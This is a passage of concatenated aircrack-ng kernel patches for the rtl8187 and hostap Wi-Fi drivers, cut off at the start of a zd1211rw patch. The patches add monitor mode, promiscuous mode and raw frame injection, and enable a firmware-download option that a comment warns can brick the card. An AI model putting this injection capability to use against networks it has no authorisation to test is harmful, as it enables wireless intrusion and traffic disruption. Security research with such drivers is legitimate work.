spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-06-08 23:30:47.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +341,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +431,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-05-26 10:39:10.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. aircrack-ng-1.2-rc4/patches/old/hostap-driver-0.3.9.patch0000644000000000000000000001442110761053203021402 0ustar rootrootdiff -ur ../hostap-driver-0.3.9/driver/modules/hostap.c ./driver/modules/hostap.c --- ../hostap-driver-0.3.9/driver/modules/hostap.c 2004-08-28 05:26:46.000000000 +0200 +++ ./driver/modules/hostap.c 2005-07-29 12:13:38.000000000 +0200 @@ -401,7 +401,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_80211_tx.c ./driver/modules/hostap_80211_tx.c --- ../hostap-driver-0.3.9/driver/modules/hostap_80211_tx.c 2004-07-06 01:45:01.000000000 +0200 +++ ./driver/modules/hostap_80211_tx.c 2005-07-29 12:26:05.000000000 +0200 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -376,8 +380,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_config.h ./driver/modules/hostap_config.h --- ../hostap-driver-0.3.9/driver/modules/hostap_config.h 2005-06-11 05:03:36.000000000 +0200 +++ ./driver/modules/hostap_config.h 2005-07-29 12:13:38.000000000 +0200 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_hw.c ./driver/modules/hostap_hw.c --- ../hostap-driver-0.3.9/driver/modules/hostap_hw.c 2005-05-18 05:31:21.000000000 +0200 +++ ./driver/modules/hostap_hw.c 2005-07-29 12:13:38.000000000 +0200 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3259,6 +3296,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_ioctl.c ./driver/modules/hostap_ioctl.c --- ../hostap-driver-0.3.9/driver/modules/hostap_ioctl.c 2005-05-18 05:33:28.000000000 +0200 +++ ./driver/modules/hostap_ioctl.c 2005-07-29 12:13:38.000000000 +0200 @@ -1067,33 +1067,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1159,7 +1133,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_wlan.h ./driver/modules/hostap_wlan.h --- ../hostap-driver-0.3.9/driver/modules/hostap_wlan.h 2005-05-18 05:31:22.000000000 +0200 +++ ./driver/modules/hostap_wlan.h 2005-07-29 12:13:38.000000000 +0200 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-rc4/patches/old/zd1211rw_inject_2.6.21-gentoo.patch0000644000000000000000000001364610761053203023104 0ustar rootrootdiff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-27 18:32:21.000000000 -0400 